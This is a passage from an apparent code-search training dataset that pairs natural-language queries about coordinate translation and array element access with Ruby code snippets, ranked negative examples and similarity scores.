"def coordinate_to_decimal\n\t\treturn nil if self.blank?\n\t\tresult = 0.0\n\t\tminus = false\n\t\t\n\t\t# Degrees\n\t\tsplitted_1 = self.split(\"°\")\n\t\treturn nil if splitted_1.length != 2\n\t\tresult += splitted_1[0].to_i.to_f\n\n\t\t# Minus correction\n\t\tif result < 0.0\n\t\t\tminus = true\n\t\t\tresult = -result\n\t\tend\n\n\t\t# Minutes\n\t\tsplitted_2 = splitted_1[1].split(\"'\")\n\t\treturn nil if splitted_2.length != 2\n\t\tresult += (splitted_2[0].to_i.to_f / 60.to_f).to_f\n\n\t\t# Seconds\n\t\tresult += (splitted_2[1].to_f / 3600.to_f).to_f\n\n\t\t# Minus correction\n\t\tif minus\n\t\t\tresult = -result\n\t\tend\n\n\t\treturn result\n\tend"
] | [
"0.68393636",
"0.683689",
"0.66858196",
"0.65956646",
"0.6520671",
"0.63886434",
"0.6382348",
"0.63723624",
"0.6366046",
"0.63283783",
"0.62372655",
"0.62296593",
"0.618523",
"0.6112659",
"0.61017495",
"0.60924226",
"0.60902846",
"0.60755956",
"0.60750085",
"0.60594547",
"0.6052578",
"0.604307",
"0.6010646",
"0.60030144",
"0.5966977",
"0.5946979",
"0.5936503",
"0.591676",
"0.588934",
"0.58819354",
"0.5875818",
"0.5863983",
"0.5850908",
"0.58408636",
"0.58111286",
"0.5810597",
"0.57921845",
"0.5774012",
"0.5769016",
"0.57616574",
"0.5755718",
"0.57539105",
"0.57464784",
"0.57440144",
"0.5743873",
"0.574158",
"0.57372934",
"0.57076705",
"0.5705929",
"0.56908715",
"0.568853",
"0.56813556",
"0.5675391",
"0.5669695",
"0.5660392",
"0.56570894",
"0.56563634",
"0.56511146",
"0.564928",
"0.5638925",
"0.5636492",
"0.563202",
"0.5624948",
"0.56141865",
"0.5611055",
"0.5603994",
"0.5602726",
"0.5590271",
"0.5583565",
"0.55745256",
"0.55736834",
"0.55676705",
"0.55639315",
"0.5557151",
"0.5539123",
"0.55386424",
"0.5528662",
"0.55084956",
"0.5505923",
"0.549896",
"0.5497941",
"0.5497103",
"0.54772955",
"0.54744536",
"0.5471098",
"0.5471098",
"0.5467025",
"0.54587764",
"0.5445972",
"0.54447037",
"0.5440932",
"0.54277813",
"0.54246914",
"0.54229116",
"0.54195815",
"0.5419214",
"0.5417102",
"0.5415023",
"0.5410741",
"0.5408227",
"0.54028183"
] | 0.0 | -1 |
Translates a real coordinate into a relative one | def relative(x); x.to_f/@game.height; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def relative(xr, yr)\n Position.new(x + xr, y + yr)\n end",
"def relative_position(x, y)\n Castaway::Point.new(x, y) * production.resolution\n end",
"def relative_coordinate(x_change, y_change)\n new_x = x + x_change\n new_y = y + y_change\n\n if in_bounds?(new_x, new_y)\n Coordinate.new(new_x, new_y)\n else\n ImpossibleCoordinate.new\n end\n end",
"def trans(coord)\n\treturn [coord[0]+600, -coord[1]+350]\nend",
"def translate(x, y)\n [ x - bounds.x, y - bounds.y ]\n end",
"def translate_pos(given)\n Zif.add_positions(Zif.position_math(:mult, given, zoom_factor), pos)\n end",
"def translate_pos(given)\n Zif.add_positions(Zif.position_math(:mult, given, zoom_factor), pos)\n end",
"def adjust_to_relative_pos(tx,ty)\n x = tx - (self.x - @positions[:current][:x])\n y = ty - (self.y - @positions[:current][:y])\n return x,y\n end",
"def relative_coords(from, move)\n [from[0] + move[0], from[1] + move[1]]\n end",
"def normalize_coords(x, y)\n x = x * -1 - 1 if x < 0\n y = y * -1 - 1 if y > -1\n [x, y]\n end",
"def origin\n Entities::Point.new(\n (Game::WIDTH - map.pixel_width) / 2,\n (Game::HEIGHT - map.pixel_height) / 2\n )\n end",
"def relative(mode = :terrain)\r\n modifier = mode == :terrain ? -1 : 1\r\n Position.new(map, (@x + modifier)/2, (@y + modifier)/2)\r\n end",
"def user_coordinate\r\n\t\tconvert_coordinate(1)\r\n\tend",
"def coord2pos(x, y)\n (y % h)*w+(x % w)\n end",
"def to_local(point)\n inverse * point\n end",
"def translate(options={})\n options = options.to_hash rescue options.to_h\n \n {\n x: absolute_x + options[:x].to_i,\n y: absolute_y + options[:y].to_i\n }\n end",
"def translateX(x)\n return x - @camX\n end",
"def transformCoord(coord)\n dotat = coord.index('.') \n tmp1 = coord[dotat-1]\n tmp2 = coord[dotat-2]\n \n coord[dotat-2] = \".\"\n coord[dotat-1] = tmp2\n coord[dotat] = tmp1\n \n return coord.to_f \n end",
"def screen_to_relative(*args)\n s = screen_position\n vec2 = Vector2[*args]\n vec2.x -= s.x\n vec2.y -= s.y\n vec2\n end",
"def grid_point_to_absolute(point)\n Point.new((@pos.x + point.x * @cellsize).to_i, (@pos.y + point.y * @cellsize).to_i)\n end",
"def translate(x, y)\n primitive 'translate ' + sprintf('%g,%g', x, y)\n end",
"def transform_data\n latitude = self.latitude\n longitude = self.longitude\n tempLat = latitude/100\n floatLat = (latitude - (tempLat.to_i * 100))/60\n lat = tempLat.to_i + floatLat\n tempLng = longitude/100\n floatLng = (longitude - (tempLng.to_i * 100))/60\n lng = tempLng.to_i + floatLng\n self.latitude = lat \n self.longitude = lng \nend",
"def screen_position_relative_to(px,py,xi,yi,sextx,sexty)\n tx = @wrapped_surface.tile_x\n ty = @wrapped_surface.tile_y\n xoff = offset_from_screen(xi*tx, px, sextx)\n yoff = offset_from_screen(yi*ty, py, sexty)\n [xoff,yoff]\n end",
"def ref(x, y, _width, _height)\n translate(x, y) if x != 0 || y != 0\n end",
"def make_absolute(point)\n absolute_position + point * Core::Point.new(width, height)\n end",
"def compute_position\n # The negative and the ninety are the fudge to compensate for our map.\n lat = @latitude_radians = radians(-@latitude)\n long = @longitude_radians = radians(@longitude + 90)\n radius = $app.globe.diameter / 2.0 - 23\n @x = radius * cos(lat) * sin(long)\n @y = radius * sin(lat)\n @z = radius * cos(lat) * cos(long)\n end",
"def translatef(*args)\n r = Rect.new x, y, w, h\n r.position += r.resolution * Vector2[args.singularize]\n r\n end",
"def translate_origin(axis, offset)\n case axis\n when \"x\"\n axis = 0\n when \"y\"\n axis = 1\n when \"z\"\n axis = 2\n else\n # Raise error\n end\n\n result_ik = MotionPlan.nudge(axis, offset, [@current_ik.a0, @current_ik.a1, @current_ik.a2, @current_ik.a3, @current_ik.a4, @current_ik.a5])\n update(result_ik) if result_ik[:success]\n end",
"def move_absolute( coord_x, coord_y, coord_z)\n\n Status.current.info_target_x = coord_x\n Status.current.info_target_y = coord_y\n Status.current.info_target_z = coord_z\n\n # calculate the number of steps for the motors to do\n\n steps_x = coord_x * @ramps_param.axis_x_steps_per_unit\n steps_y = coord_y * @ramps_param.axis_y_steps_per_unit\n steps_z = coord_z * @ramps_param.axis_z_steps_per_unit\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def translate_absolute(x, y)\n if controller.parent\n x, y = *controller.parent.translate_absolute(x, y)\n end\n [x,y]\n end",
"def coord_geographic\n FACTORY.unproject(self.coord)\n end",
"def move_absolute( coord_x, coord_y, coord_z)\n @target_x = coord_x\n @target_y = coord_y\n @target_z = coord_z\n\n # calculate the number of steps for the motors to do\n\n steps_x = coord_x * @axis_x_steps_per_unit\n steps_y = coord_y * @axis_y_steps_per_unit\n steps_z = coord_z * @axis_z_steps_per_unit\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def to_coordinates\n\n CGPointMake(self.x.to_coordinates, self.y.to_coordinates)\n end",
"def draw_relative(camera_x=-@camera_x, camera_y=-@camera_y, &block)\n Gamework::App.window.translate(camera_x, camera_y) { yield }\n end",
"def snap_offset\n @y += @off_y / 32\n @x += @off_x / 32\n @real_x = @x * 128\n @real_y = @y * 128\n @off_y = 0#@off_y % 32\n @off_x = 0#@off_x % 32\n end",
"def convert_coords(screen, x, y, z)\n\t\txd = x * $persp / (z + $space_size) + screen.width / 2\n\t\tyd = y * $persp / (z + $space_size) + screen.height / 2\n\t\treturn xd, yd\n\tend",
"def moveto(x, y)\n #@ox = x; @oy = y\n @x = x % $game_map.width\n @y = y % $game_map.height\n #kk20\n @real_x = @x * 128 + 64\n @real_y = @y * 128 + 64\n end",
"def apply_transform!\n @location = @dy.transformPoint( @location )\n end",
"def x_translation(p_context)\n xcch = (p_context.cw / 2).floor - (rhl * p_context.scale).floor\n amw = (picture_width * p_context.scale).floor\n xt = xcch - (xp_from_hn(p_context.current_hex) * p_context.scale).floor\n if amw < p_context.cw then\n xt = (p_context.cw - amw) / 2 \n elsif xt > 0 then\n xt = 0\n elsif (xt + amw) < p_context.cw then\n xt = p_context.cw - amw\n end \n return xt / p_context.scale\n end",
"def get_real_point\n pos_x = x * get_scale(:x)\n pos_y = y * get_scale(:y)\n return Point.new(pos_x, pos_y) unless (has_layer?)\n real_point = get_layer.get_real_point\n return Point.new(\n (real_point.x + pos_x),\n (real_point.y + pos_y)\n )\n end",
"def move_absolute( coord_x, coord_y, coord_z)\n\n # calculate the number of steps for the motors to do\n\n $status.info_target_x = coord_x\n $status.info_target_y = coord_y\n $status.info_target_z = coord_z\n\n steps_x = coord_x * @axis_x_steps_per_unit\n steps_y = coord_y * @axis_y_steps_per_unit\n steps_z = coord_z * @axis_z_steps_per_unit\n\n @axis_x_pos = steps_x\n @axis_y_pos = steps_y\n @axis_z_pos = steps_z\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def relativize_points points, rel_points\n m_begin \"relativize_points\"\n raise \"invalid argument\" unless points.class == Array && rel_points.class == Array\n lastx, lasty = 0, 0\n points.each do\n |x, y|\n rel_points << [x-lastx, y-lasty]\n lastx = x\n lasty = y\n end\n m_end \"relativize_points\"\n end",
"def new_coord\n [@position, @@move[@direction]].transpose.map { |coord| coord.reduce(:+) }\n end",
"def move_relative( amount_x, amount_y, amount_z)\n\n # calculate the number of steps for the motors to do\n\n @target_x = @current_x + amount_x\n @target_y = @current_y + amount_y\n @target_z = @current_z + amount_z\n\n steps_x = amount_x * @axis_x_steps_per_unit + @current_x_steps\n steps_y = amount_y * @axis_y_steps_per_unit + @current_y_steps\n steps_z = amount_z * @axis_z_steps_per_unit + @current_z_steps\n\n move_to_coord( steps_x, steps_y, steps_z )\n\n end",
"def move_relative( amount_x, amount_y, amount_z)\n\n # calculate the number of steps for the motors to do\n\n $status.info_target_x = @axis_x_pos_conv + amount_x\n $status.info_target_y = @axis_y_pos_conv + amount_y\n $status.info_target_z = @axis_z_pos_conv + amount_z\n\n steps_x = amount_x * @axis_x_steps_per_unit + @axis_x_pos\n steps_y = amount_y * @axis_y_steps_per_unit + @axis_y_pos\n steps_z = amount_z * @axis_z_steps_per_unit + @axis_z_pos\n\n @axis_x_pos = steps_x\n @axis_y_pos = steps_y\n @axis_z_pos = steps_z\n\n move_to_coord( steps_x, steps_y, steps_z )\n\n end",
"def translate(dx, dy)\n @xx += dx\n @yy += dy\n end",
"def calc_point_rotated_relative(x,y, theta)\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n theta = conv_degree_to_radian(theta)\r\n xr= Math.cos(theta)*x - Math.sin(theta)*y \r\n yr = Math.sin(theta)*x + Math.cos(theta)*y \r\n pRes = CNCPoint.new(xr,yr)\r\nend",
"def projection_point(p)\n Point.project(p - p1, self.direction.to_point) + p1\n end",
"def translate_to_point(*location)\n p = Point.new(*location)\n Line.new(p, Point.new(p.x + (x2 - x1), p.y + (y2 - y1)))\n end",
"def move_relative( amount_x, amount_y, amount_z)\n\n # calculate the number of steps for the motors to do\n\n Status.current.info_target_x = Status.current.info_current_x + amount_x\n Status.current.info_target_y = Status.current.info_current_y + amount_y\n Status.current.info_target_z = Status.current.info_current_z + amount_z\n\n steps_x = amount_x * @ramps_param.axis_x_steps_per_unit + Status.current.info_current_x_steps\n steps_y = amount_y * @ramps_param.axis_y_steps_per_unit + Status.current.info_current_y_steps\n steps_z = amount_z * @ramps_param.axis_z_steps_per_unit + Status.current.info_current_z_steps\n\n move_to_coord( steps_x, steps_y, steps_z )\n\n end",
"def transform \n \n @pixel_location = get_pixel_points \n puts \"px loc : #{@pixel_location}\"\n \n while @pixel_location.size != 0 \n transform_pixel_points(@pixel_location)\n @pixel_location.shift\n @pixel_location.shift\n end\n end",
"def translate(x, y = 0)\n transform[:translate] = [x, y]\n end",
"def translate(*offset)\n p = Point.new(*offset)\n self + p\n end",
"def convert_from_uv(uv_value, absolute_side)\n # Account for the fact that Syntheyes assumes the\n # pixel values to be at the center of the pixel\n abs_value = (((uv_value.to_f / 2.0) + 0.5) * (absolute_side.to_f - 1)) + 0.5\n end",
"def move_rel(x=nil, y=nil)\n return unless x && y\n\n self.pos_x = @pos_x + x.round\n self.pos_y = @pos_y + y.round\n end",
"def relative_offset\n active_position = self.game.player.position\n if self.position >= active_position\n return (active_position - self.position) / 10\n else\n return (active_position - self.position - self.game.number_of_players) / 10\n end\n end",
"def c2f_x(x)\n x / zoom + x_orig\n end",
"def translate_coordinate(coordinate)\n translated = case coordinate\n when '1' then 2\n when '2' then 1\n when '3' then 0\n when 'a' then 0\n when 'b' then 1\n when 'c' then 2\n else nil\n end\n translated\n end",
"def x\n OFFSET_FROM_LEFT + (coordinates.x * 700).to_i\n end",
"def moveto(x, y)\n @ox = @x = x\n @oy = @y = y \n @real_x = @x * 128\n @real_y = @y * 128 \n end",
"def coords_to_pos(point)\n (size - 1 - point.y) * size + point.x\n end",
"def normalizePoint(point, normalizer)\n x = point[0] + normalizer[0]\n y = point[1] + normalizer[1]\n # make sure we didn't wrap one way or the other.\n # taking the shortest great circle distance.\n x = x <= -180 ? x +360 : x\n x = x >= 180 ? x +360 : x\n return [x,y]\n end",
"def relative_coords(x, y)\n diameter = Cfg.galaxy_zone_diameter\n\n # Calculate coordinate in zone. Ensure that in-zone coordinate is\n # calculated correctly if absolute coord is negative.\n calc_coord = lambda do |c|\n return c % diameter if c >= 0\n mod = c.abs % diameter\n mod == 0 ? 0 : diameter - mod\n end\n\n [calc_coord[x], calc_coord[y]]\n end",
"def translate(x, y, &rendering_code); end",
"def set_real_position(real_x, real_y)\n @real_x, @real_y = real_x, real_y\n end",
"def relative_to_screen(*args)\n s = screen_position\n vec2 = Vector2[*args]\n vec2.x += s.x\n vec2.y += s.y\n vec2\n end",
"def f2c_x(x)\n (x - x_orig) * zoom\n end",
"def decimal_to_coordinate\n\t\treturn nil if self.blank?\n\t\tvalue = self.to_f\n\n\t\t# Degrees\n\t\tdegrees = value.to_i\n\t\tvalue = value - degrees # Remove integer part\n\t\t\n\t\t# Minutes\n\t\tvalue = value * 60\n\t\tminutes = value.to_i\n\t\tvalue = value - minutes # Remove integer part\n\n\t\t# Seconds\n\t\tvalue = value * 60\n\t\tseconds = value.round(2)\n\t\t\n\t\tresult = \"#{degrees.to_s}°\"\n\t\tresult += \" #{minutes.to_s}'\"\n\t\tresult += \" #{seconds.to_s}\\\"\"\n\t\treturn result\n\tend",
"def translate(vector)\n Point.new(*to_a.zip(vector.to_a).map { |a, b| a + b})\n end",
"def rel_x\n return x - Graphics.width/2\n end",
"def rel_x\n return x - Graphics.width/2\n end",
"def translate(m, p)\n sw = p.translatePoint(m.origin)\n ne = p.translatePoint(Integration::Point.new(m.origin.x + m.size.width, m.origin.y + m.size.height))\n CGRectMake(sw.x, sw.y, ne.x - sw.x, ne.y - sw.y)\n end",
"def normalize_lat deg\n case deg \n when -360..-270\n deg % 90 \n when -270..-180\n 90 - (deg % 90)\n when -180..-90\n - (deg % 90)\n when -90..0 \n -90 + (deg % 90) \n when 0..90\n deg\n when 90..180 \n deg % 90\n when 180..270 \n - (deg % 90)\n when 270..360 \n - 90 + (deg % 90)\n else\n raise ArgumentError, \"Degrees #{deg} out of range, must be between -360 to 360\" \n end \n end",
"def human_move_to_coord(human_move)\n trad = {\n \"1\" => [0, 0], #upper left corner\n \"2\" => [0, 1],\n \"3\" => [0, 2],\n \"4\" => [1, 0],\n \"5\" => [1, 1],\n \"6\" => [1, 2],\n \"7\" => [2, 0],\n \"8\" => [2, 1],\n \"9\" => [2, 2] # down right corner\n }\n trad[human_move] #return position in our nested array\n end",
"def absolute_coordinate(s)\n '$%s$%d' % coordinate_from_string(s)\n end",
"def realToIndex(x,y,z) \n @my_ii = Grid.nearest(x,@mD.xStart,@mD.xIncr)\n @my_jj = Grid.nearest(y,@mD.yStart,@mD.yIncr)\n @my_doy = z\n # puts \"realToIndex: x #{x}, xStart #{@mD.xStart}, xIncr #{@mD.xIncr} myX #{@my_ii}; y #{y}, myY #{@my_jj} z #{z}, myZ #{@my_doy}\"\n [@my_ii,@my_jj,@my_doy]\n end",
"def move_to(xx, yy)\n @x = xx\n @y = yy\n normalize\n end",
"def rel_pos(enpt, vec)\n ratio = @enpt.prog / @enpt.points[1].pos.distance(@enpt.points[2].pos).to_m\n tangent = spline_tangent(@enpt, ratio)\n angle = Math::PI - Math.atan2(tangent.x, tangent.y)\n vec.transform!(Geom::Transformation.rotation(enpt, Z_AXIS, angle))\n # camera is focused at player's head, so we add 200 to the height\n return enpt + vec + [0, 0, 200.m]\n end",
"def translate(*args)\n r = Rect.new x, y, w, h\n r.position += Vector2[args.singularize]\n r\n end",
"def recalculate_coordinates_for_sphere\n if rover.position[0] >= grid.x || rover.position[0] < 0\n rover.position[0] = (rover.position[0] % grid.x).abs\n end\n if rover.position[1] >= grid.y || rover.position[1] < 0\n rover.position[1] = (rover.position[1] % grid.y).abs\n end\n end",
"def calc_point_rotated_abs(x,y, angle)\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n curr_angle = calc_angle(0,0,x,y)\r\n rel_amt = angle - curr_angle\r\n return calc_point_rotate_relative(x,y,rel_amt)\r\nend",
"def translate(point={})\n set RGhost::Cursor.translate(point)\n end",
"def inverse_latlon (x, y, z = nil)\n return inverse_latlon(x, y, z)\n end",
"def gather_coords(x,y)\n if y == 100\n y = 99.9\n end\n if x == 100\n x = 99.9\n end\n id = (x * 10000 + 0.5).floor * 10000 + (y * 10000 + 0.5).floor\n return id/100\nend",
"def coordinate\n x = ((position-1) / area.x_max) + 1\n y = position - (x-1) * area.x_max\n \"(#{x}, #{y})\"\n end",
"def transformed(p)\r\n (0..1).map do |i|\r\n (p[i] - @old_center[i])*@zoom + (@center[i] - @old_center[i])*@zoom + @old_center[i]\r\n end\r\n end",
"def clone_position(character)\n # copy real_x and real_y\n @real_x, @real_y = character.real_x, character.real_y\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # if battler and not battler before\n if self.is_a?(Map_Battler) && !character.is_a?(Map_Battler)\n # copy coordinates with correction\n @x, @y = character.x * pix, character.y * pix\n # if not battler and battler before\n elsif !self.is_a?(Map_Battler) && character.is_a?(Map_Battler)\n # copy coordinates with correction\n @x, @y = character.x / pix, character.y / pix\n else\n # just copy coordinates\n @x, @y = character.x, character.y\n end\n end",
"def translate(x)\n return 2 * x + 1\n end",
"def trans(i)\r\n ((i) == -1 ? @rl_point : ((i) == -2 ? @rl_end : (i)))\r\n end",
"def human_move_to_coordinate(human_move)\n mapping = {\n \"1\" => [0, 0],\n \"2\" => [1, 0],\n \"3\" => [2, 0],\n \"4\" => [0, 1],\n \"5\" => [1, 1],\n \"6\" => [2, 1],\n \"7\" => [0, 2],\n \"8\" => [1, 2],\n \"9\" => [2, 2]\n }\n mapping[human_move]\n end",
"def translate!(bone, x, y, z)\n set_channel(bone, 'Xposition', channel_data_for(bone).get_channel('Xposition')+x)\n set_channel(bone, 'Yposition', channel_data_for(bone).get_channel('Yposition')+y)\n set_channel(bone, 'Zposition', channel_data_for(bone).get_channel('Zposition')+z)\n end",
"def convert_position!\n trx = self[:TrX]\n try = self[:TrY]\n\n self[:TrX] = 0\n self[:TrY] = 0\n self[:TrZ] = 0\n\n # To fix an issue with pto reading files ignoring attributes that have a =0\n trx = '0.0' if trx == 0.0\n try = '0.0' if try == 0.0\n\n self[:d] = trx\n self[:e] = try\n self\n end",
"def translate(x, y = 0)\n current_transformation.translate(x, y)\n self[\"transform\"] = current_transformation.to_s\n end",
"def rlat\n # lat * PI / 180\n self.lat * 0.01745329251994\n end",
"def latitude\n -37.8136\n end",
"def move_relative( amount_x, amount_y, amount_z)\n\n puts '**move relative **'\n\n # calculate the number of steps for the motors to do\n\n steps_x = amount_x * @axis_x.steps_per_unit\n steps_y = amount_y * @axis_y.steps_per_unit\n steps_z = amount_z * @axis_z.steps_per_unit\n\n puts \"x steps #{steps_x}\"\n puts \"y steps #{steps_y}\"\n puts \"z steps #{steps_z}\"\n\n move_steps( steps_x, steps_y, steps_z )\n\n end",
"def relative(n, type = nil)\n case type\n when :location\n ;\n when :aa\n if n = abs2rel(n)\n (n - 1) / 3 + 1\n else\n nil\n end\n else\n abs2rel(n)\n end\n end",
"def projected_move\n\t\t\t\traise NotYetPlaced if been_placed.nil?\n\n\t\t\t\t_x = x\n\t\t\t\t_y = y\n\t\t\t\tcase face\n\t\t\t\twhen 'NORTH'\n\t\t\t\t\t_y += 1\n\t\t\t\twhen 'EAST'\n\t\t\t\t\t_x += 1\t\t\t\t\t\n\t\t\t\twhen 'SOUTH'\n\t\t\t\t\t_y -= 1\n\t\t\t\twhen 'WEST'\n\t\t\t\t\t_x -= 1\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t[_x, _y]\n\t\t\tend",
"def api\n CLLocationCoordinate2DMake(latitude, longitude)\n end",
"def origin\n Position.new(0,0)\n end"
] | [
"0.69609404",
"0.6803381",
"0.6719552",
"0.6611655",
"0.65168256",
"0.63784885",
"0.63612187",
"0.62970483",
"0.6227307",
"0.6213919",
"0.6183957",
"0.61689305",
"0.61380786",
"0.6110571",
"0.6079533",
"0.6065434",
"0.6040156",
"0.60316646",
"0.59944105",
"0.5973886",
"0.5945327",
"0.5917343",
"0.59113336",
"0.5907134",
"0.59055895",
"0.5888121",
"0.58855355",
"0.58823",
"0.585872",
"0.5811918",
"0.58016497",
"0.57974565",
"0.57885927",
"0.57862604",
"0.57839704",
"0.57603085",
"0.57462484",
"0.5744481",
"0.5736182",
"0.5731634",
"0.57301754",
"0.572411",
"0.571526",
"0.5715115",
"0.5711102",
"0.57108533",
"0.5709336",
"0.5699436",
"0.56892043",
"0.5688167",
"0.56693727",
"0.5659179",
"0.5655767",
"0.56419384",
"0.5636073",
"0.56313944",
"0.56307507",
"0.56226945",
"0.56168616",
"0.56157744",
"0.5615744",
"0.5604571",
"0.560434",
"0.5584558",
"0.5582081",
"0.55512935",
"0.5544959",
"0.55307597",
"0.5525209",
"0.5519949",
"0.5519949",
"0.5513003",
"0.55033666",
"0.550243",
"0.5500245",
"0.5499277",
"0.5497149",
"0.5487352",
"0.54865056",
"0.5477589",
"0.5476371",
"0.5470269",
"0.54698354",
"0.5466125",
"0.5464405",
"0.5461866",
"0.5440898",
"0.54396325",
"0.5431202",
"0.5428617",
"0.54239905",
"0.5411457",
"0.54007417",
"0.5399745",
"0.539439",
"0.5380582",
"0.5377409",
"0.5377297",
"0.5375281",
"0.5369928"
] | 0.5592236 | 63 |
Returns element at index. If index is greater than size of array then elements from size to index are filled with extender. | def [](x)
if x >=size
for i in size..x
self[i]=@extender
end
end
super(x)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def at(index)\n \t@array[index]\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def [](index)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n number[index]\n end",
"def [](i)\n i = i + size if i < 0\n i >= size || i < 0 ? nil : @elements[i]\n end",
"def retrieve_element_from_index(array, index_number)\n return array[index_number]\nend",
"def by_index(index)\n @arr[index]\n end",
"def element_at(arr, index)\n arr[index]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def [] i\n @array[i]\n end",
"def [](indx)\n elements[indx]\n end",
"def at(array, i)\n array[i]\nend",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index] \n end",
"def []( index )\r\n @ary.at(index + @offset)\r\n end",
"def get(index)\n @array_list.get(index)\n end",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def element i=0\n @array[i]\n end",
"def update_element_from_index(array, index_number, element)\nreturn array[index_number] = element\n\nend",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n return arr[index]\nend",
"def [](i)\n @elements[i]\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index]\nend",
"def [](idx)\r\n to_a[idx] || element_class.new(@parent, :index => idx)\r\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def [] num\n array = self.to_a\n if num > array.length\n raise \"Could not find #{num} elements matching #{self}, found #{array.length}\"\n end\n element = array[num]\n element\n end",
"def [](index)\n return @elements[index] if index.kind_of? Numeric\n return @element_map[index] if @element_map[index] \n return @element_map[index.to_s] \n end",
"def [](index)\n @items[index - 1]\n end",
"def [](index)\n @items[index - 1]\n end",
"def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend",
"def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend",
"def [](index)\n # raises IndexOutOfBoundsException if index is out of bounds [0, @length)\n # TODO\n end",
"def item(index = self.index)\n @data[index]\n end",
"def get(index)\n raise \"Only positive indexes, #{index}\" if index <= 0\n if index > self.get_length\n return nil\n else\n return internal_object_get(index + 1)\n end\n end",
"def [](idx)\n if size <= idx && idx < max\n last\n else\n super\n end\n end",
"def [](index = nil)\n to_alloc[index]\n end",
"def get_at_index(index)\n raise NotImplementedError, \"Please implement get_at_index\"\n end",
"def [](i)\n\t\t\t@elements[i]\n\t\tend",
"def [](index)\n # Handle a negative index\n index = size + index if index < 0\n\n # Get or create the dependency\n dep = (@array_deps[index] ||= Dependency.new)\n\n # Track the dependency\n dep.depend\n\n # Return the index\n @array[index]\n end",
"def at(index)\n self[index]\n end",
"def at(index); end",
"def element\n @collection[index]\n end",
"def []=(index, element); end",
"def [](index)\n Array.new([index])\n end",
"def [] index\r\n @list[index]\r\n end",
"def item(index = self.index)\n return @data[index]\n end",
"def [](index)\n @items[index]\n end",
"def [](index)\n @items[index]\n end",
"def index\n @array = [45, 6, 32, 0]\n end",
"def [](x)\n expand(size, x) if x >= size\n super(x)\n end",
"def [](index)\n return @items[index]\n end",
"def [](index)\n all[index]\n end",
"def [](i)\n @elem[i]\n end",
"def [](idx)\n items[idx]\n end",
"def at(idx)\n Ruby.primitive :array_aref\n end",
"def get_item(index_num)\r\n @arr.fetch(index_num)\r\n end",
"def index(array, position)\n array.at(position) if array.respond_to?(:at)\n end",
"def item_at_index(array, indices)\n item = array\n indices.each do |each|\n item = item.slice(each)\n end\n item\n end",
"def [](index); @data[index]; end",
"def update_array_at_with (array, i, char)\n array[i] = X\nend",
"def [](index)\n entries[index]\n end",
"def [](index)\n get_node(index).element\n end",
"def ele_index(class_name, index)\n raise 'Index must be >= 1' unless index == 'last()' || (index.is_a?(Integer) && index >= 1)\n\n elements = tags(class_name)\n\n if index == 'last()'\n result = elements.last\n else\n # elements array is 0 indexed\n index -= 1\n result = elements[index]\n end\n\n raise _no_such_element if result.nil?\n\n result\n end",
"def get_at_index(index)\n return nil if index > length\n return get_at_index_helper(index, 0, @head)\n end",
"def [](index)\r\n @internal_list[index]\r\n end",
"def [](index)\n entries[index]\n end",
"def [](index)\n cast get(index)\n end",
"def [](index)\n @data_items[index]\n end",
"def [](index)\n self.__getitem__ index\n end",
"def concat element, index=nil\n raise IndexError, \"Expected new unique index\" if @index.include? index\n\n if index.nil? and @index.index_class == Integer\n @index = create_index(@size + 1)\n index = @size\n else\n begin\n @index = create_index(@index + index)\n rescue StandardError => e\n raise e, \"Expected valid index.\"\n end\n end\n @data[@index[index]] = element\n set_size\n set_nil_positions\n end",
"def [](index)\n parts[index]\n end",
"def index(element); end",
"def [](index)\n lines.public_send(:[], index)\n end",
"def get_index(index)\n return self.at(index)\n end",
"def [](index, length = undefined)\n %x{\n var size = #{self}.length;\n\n if (typeof index !== 'number') {\n if (index._isRange) {\n var exclude = index.exclude;\n length = index.end;\n index = index.begin;\n\n if (index > size) {\n return nil;\n }\n\n if (length < 0) {\n length += size;\n }\n\n if (!exclude) length += 1;\n return #{self}.slice(index, length);\n }\n else {\n #{ raise \"bad arg for Array#[]\" };\n }\n }\n\n if (index < 0) {\n index += size;\n }\n\n if (length !== undefined) {\n if (length < 0 || index > size || index < 0) {\n return nil;\n }\n\n return #{self}.slice(index, index + length);\n }\n else {\n if (index >= size || index < 0) {\n return nil;\n }\n\n return #{self}[index];\n }\n }\n end",
"def [](index)\n to_s[index]\n end",
"def [](index)\n get(index)\n end",
"def [](index)\n @val[index]\n end",
"def [](index); end",
"def insert_element_at_given_index(array, index, element)\n array.insert(index, element)\nend",
"def [](idx)\n send(idx)\n end",
"def item; @data[@index]; end",
"def at(index)\n each.with_index { |v, i| return v if i == index }\n return nil\n end",
"def [](index)\n @index[index]\n end",
"def insert(index, element)\n oob_throw(index)\n if index == 0\n @array = [element] + @array[index + 1..-1]\n else\n @array = @array[0..index-1] + [element] + @array[index..-1]\n end\n end",
"def [](index)\n @values[index]\n end",
"def [](index)\n @list[index]\n end",
"def []=(x,v)\n max = size\n super(x,v)\n if size - max >1\n (max..size-2).each do |i|\n self[i] = @extender\n end\n end\n end",
"def [](index)\n\t\t@sequence[index]\n\tend",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
